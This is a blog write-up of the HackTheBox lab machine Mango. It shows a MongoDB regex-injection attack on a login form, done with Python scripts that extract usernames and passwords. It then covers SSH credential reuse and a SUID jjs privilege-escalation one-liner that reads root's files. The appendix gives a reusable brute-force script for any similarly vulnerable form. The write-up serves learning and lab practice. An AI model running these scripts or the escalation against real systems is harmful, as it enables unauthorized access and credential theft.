IT Security
Security, challenges and boxes


Banner

HTB: Mango

Rubytox, 23rd February 2020

Hello everyone!

Today, I'm publishing a writeup for HackTheBox's machine Mango, made by MrR3boot. This machine was harder for me than the previous ones, thus it allowed me to learn a lot of new interesting concepts.

Let's start! First, as usual, I'll put Mango's IP address in my /etc/hosts file, so that this box will be called mango.htb. We'll start by a basic nmap scan, which gives us the following result:

# Nmap 7.60 scan initiated Sun Jan 19 18:04:44 2020 as: nmap -sC -sV -oA nmap/mango mango.htb
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.61s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (EdDSA)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 19 18:06:23 2020 -- 1 IP address (1 host up) scanned in 99.47 seconds

So it seems we have two websites, the first one hosted on port 80 displays a 403 Forbidden error page; the other one is on port 443. Let's go to the second one, we enter in our browser the URL https://mango.htb:

Mango search engine

This is a webpage looking like Google's homepage, and the only link that is working redirects to an analytics webpage. However, turns out this page was a rabbit hole, because we can't do anything from it.

One piece of detail that needed to be noticed right away was the SSL certificate: some information are given directly in the nmap scan, but it's possible to find that by reading the certificate in our browser as well. Here is the certificate:

Mango's certificate
The picture is in french, but the only interesting information is the certificate's issuer

As seen in the picture, the certificate was issued by the domain staging-order.mango.htb. It might be worth checking this domain out. We enter this URL in our browser, and we land on the following webpage:

Staging order login page

Here I was stuck for a rather long time, it was a bit hard to be able to login. The box's name gives us a big hint: Mango stands here for MongoDB, a DBMS based part of the NoSQL DBMS family. I assumed there was a user named admin, and I decided to write a script in order to find their credentials. This is made possible by a vulnerability in MongoDB: instead of passing the password field for instance, we're actually able to pass the application a regular expression. Let's take an example: if I want to connect to the login form using username admin and password abcdef, I would use a POST request containg the following information (JSON formatted):

{
    "username": "admin",
    "password": "abcdef"
}

What we're exploiting here is the fact that instead of passing a member named password, I can pass to the form a member called password[$regex], and the server will understand it as if it were the form's field password, but as a regular expression. This means that if admin's password is actually abcdef, then passing the application the following data should allow me to be connected:

{
    "username": "admin",
    "password[$regex]": "abc.{1}ef"
}

Note: this regular expression matches a string containing abc, followed by any character one time, then ef.

When we observe the requests and responses using BurpSuite, we find out that when passing a regex matching the user's correct password, the application responds with a 302 instead of 200.

Request using valid regex
Here we pass the regex .{1} which is always valid because the password contains at least one character.
Response to a valid regex
The server responds with status code 302.
Request using invalid regex
Here we pass the regex .{2151513456} which is unlikely to be true.
Response to an invalid regex
The server responds with status code 200.

This allows us to write the following script in order to guess user admin's password length:

#!/usr/bin/env python3
import requests
from colors import *

url = "http://staging-order.mango.htb/index.php"

req = requests.Session()

creds = {
    'username': 'admin',
    'password[$regex]': '.{0}'
}

response = req.post(url, creds, allow_redirects=False)

i = 1
while response.status_code == 302:
    creds['password[$regex]'] = ".{" + str(i) + "}"
    response = req.post(url, creds, allow_redirects=False)
    print("[*] [{}] Status code: {}".format(i, response))
    if response.status_code == 302:
        print("[~] Password can be at least " + str(i) + " characters long.")
        i += 1
    else:
        print("[~] Encountered 200 status code.")

print("[+] Password is " + str(i-1) + " characters long.")

This script is easy to understand: first, it tests whether the password contains the null string, which isn't really useful but it's the start of a recursive pattern. Then, while the server responds with a 302 status code, we test whether the password contains one more character. If the server responds with 200 status code to a given i value, then it means that the password does not contain a string which is i character long; however assuming the server responded with 302 status code for i-1, then the password should be i-1 characters long.

Running this script, we learn that user admin's password is 12 characters long. Now, using a similar approach, we're going to guess the actual password: we are going to test character by character, which character returns a 302 status code and not a 200 status code. In the following script, we make the test from the end of the password. For instance, if admin's password is abcdef, then we're going to pass the following regular expressions to the form:

Then, as we know the password's length, we do the same process again until we have found all the characters. The script looks like:

#!/usr/bin/env python3
import requests
import urllib3
import string
from colors import Colors
urllib3.disable_warnings()

password = ""
url = "http://staging-order.mango.htb/index.php"

creds = {
    "username": "admin",
    "password[$regex]": ""
}

remaining = 12 - len(password)

while remaining > 0:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|']:
            Colors.info("Testing end: " + str(c + password))
            Colors.note("{} characters remaining.".format(remaining))
            creds['password[$regex]'] = "{}$".format(c + password)
            r = requests.post(url, data=creds, verify=False, allow_redirects=False)
            if r.status_code == 302:
                password = c + password
                Colors.success("This password's end worked: {}".format(password))
                remaining -= 1
                break

Note: in the script, we do not consider the characters *, +, ., ? and | as they are special characters used by regular expressions. We were lucky and the user didn't use those characters in their password. However, if he had, we would have to escape those characters.

This script allows us to get the following password for user admin: t9KcS3>!0B#2. Using those credentials with the form makes us go to another page, which isn't actually interesting:

home.php page

I was stuck for a bit, then I figured out there might be other users than admin: actually this user was found by a lucky guess. I decided to change a little the previous script in order to enumerate users using the exact same approach as before: I put in the password field the regular expression .{0} which is always true, and I used the same script as before to find a username. This script isn't very efficient because it used an infinite loop: I stop manually the script when I find a username that I think might work. In addition, in order not to find the same username twice, I iterate over string.printable in natural order, then in reverse order. This approach is very limited and allows us to guess only two usernames, but here it is enough:

import requests
import urllib3
import string
import urllib
from colors import Colors
urllib3.disable_warnings()

u="http://staging-order.mango.htb/index.php"

creds = {
    "username[$regex]": "",
    "password[$regex]": ".{0}"
}

while True:
    for c in reversed(string.printable):
        if c not in ['*','+','.','?','|','^','$']:
            Colors.info("Testing end: " + str(c + password))
            creds['username[$regex]'] = "{}$".format(c + password)
            r = requests.post(u, data = creds,verify = False, allow_redirects = False)
            if r.status_code == 302:
                password = c + password
                Colors.success("This user's end worked: {}".format(password))
                break

Iterating over string.printable using the natural order, we find the username admin; in reverse order, we find a username mango. Using the password-guessing script from before, we easily find this user's password: h3mXK8RhU~f{]f5H.

When we login using the form, we land on the same page as before. However, with a lucky guess, we might think that user mango is a real user on the machine: let's try to log in over SSH with those credentials.

$ ssh mango@mango.htb
mango@mango.htb's password: h3mXK8RhU~f{]f5H
mango@mango:~$ ls -la
total 32
drwxr-xr-x 5 mango mango 4096 Feb 27 17:40 .
drwxr-xr-x 4 root  root  4096 Sep 27 14:02 ..
lrwxrwxrwx 1 mango mango    9 Sep 27 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 mango mango  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mango mango 3771 Apr  4  2018 .bashrc
drwx------ 2 mango mango 4096 Sep 28 15:27 .cache
drwx------ 3 mango mango 4096 Sep 28 15:27 .gnupg
-rw-r--r-- 1 mango mango  807 Apr  4  2018 .profile
drwxrwxr-x 3 mango mango 4096 Feb 27 17:40 .terminfo

It worked! But there is no user.txt here... Let's take a look at the /home directory:

mango@mango:~$ ls /home
admin mango

Guess we have to gain access to admin's home directory after all. We're going to try using the password we guessed earlier:

mango@mango:~$ su admin
Password: t9KcS3>!0B#2
$ id
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)
$ cat /home/admin/user.txt
79bf3[-- REDACTED --]47e92

It works, and now we owned user! Now, let's move on to owning root.

To do so, we're going to learn about a very useful script: linpeas. It is a script that enumerates a lot of interesting things in an operating system we wish to privilege escalate in. Running this script in Mango, we notice the following interesting part:

[+] SUID
[.. Many lines ..]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[.. Many lines ..]

The red text on yellow background color code means that linpeas found something that is really worth checking out. In fact, we learn in this section that the program jjs has the SUID flag set, which means it should be possible to execute it with root privilege. Let's take a look at jjs' GTFObins' page: we are given the following command that should spawn a shell:

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

Basically, we are using Java in order to run sh and redirecting stdin, stdout and stderr accordingly. This code is then piped to jjs which runs it. However, using this very command doesn't work on our system, for a reason I couldn't really understand, thus I modified it in order to make it just print the flag. Basically, if you can do that, then you could run any command as root, so it is a valid root own:

$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo cat /root/root.txt >$(tty) 2>$(tty)').waitFor()" | jjsWarning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc $@|sh${IFS}-p _ echo cat /root/root.txt >/dev/pts/5 2>/dev/pts/5').waitFor()
8a8ef[-- REDACTED --]9ab15
0
jjs> $

Note: jjs can be run as root only from user admin.

So we finally owned root! This box was really fun, and way harder for me than the boxed I owned before. It was a really interesting experience, and I think it's the first time I actually have to make my own scripts from zero to own the box.

So this is over for this box! If you have any comments or suggestions, feel free to open an issue on this website's GitHub page.

Appendix

Here you can find a complete script that guesses the password length for a given username passed through command line, then tries to guess the password. This script should work for any login form that has the same vulnerability:

#!/usr/bin/env python3
import requests
import sys
import string
from colors import *


def password_length(username, url):
    req = requests.Session()
    creds = {
        'username': username,
        'password[$regex]': '.{0}'
    }

    response = req.post(url, creds, allow_redirects=False)

    i = 1
    while response.status_code == 302:
        creds['password[$regex]'] = ".{" + str(i) + "}"
        response = req.post(url, creds, allow_redirects=False)
        if response.status_code == 302:
            Colors.info("Password can be at least " + str(i) + " characters long.", end='')
            print("\r", end='')
            i += 1
        else:
            print()
            Colors.info("Encountered 200 status code.")

    Colors.success("Password is " + str(i-1) + " characters long.")
    return i-1


def guess_password(username, url):
    remaining = password_length(username, url)
    password = ""
    creds = {
        'username': username,
        'password[$regex]': '.{0}'
    }

    while remaining > 0:
        for c in string.printable:
            if c not in ['*', '+', '.', '?', '|']:
                output = "Remaining {} characters | Testing end: {}"
                Colors.info(output.format(remaining, c), end='')
                print(Colors.BGREEN + password + Colors.NONE, end='')
                print('\r', end='')
                creds['password[$regex]'] = "{}$".format(c + password)
                r = requests.post(url, data=creds, verify=False, allow_redirects=False)
                if r.status_code == 302:
                    password = c + password
                    remaining -= 1
                    break
    print()
    return password


def main():
    username = sys.argv[1]
    url = sys.argv[2]

    password = guess_password(username, url)
    Colors.success("Found password: {}".format(password))


if __name__ == "__main__":
    if len(sys.argv) != 3:
        usage = """Usage: {} username url
\t- username : \tthe username of the user whose password we want to guess
\t- url : \tthe url to the vulnerable login form """.format(sys.argv[0])
        Colors.fail(usage)
        exit(1)
    main()

Assuming the script is called bruteforce.py, you would run it against Mango box's user admin the following way:

./bruteforce.py admin "http://staging-order.mango.htb/index.php"

Note: In my scripts I use a lot of functions from the Colors class. I discuss about that in the following article: Python Colors package.


Copyright © 2020-2021 Rubytox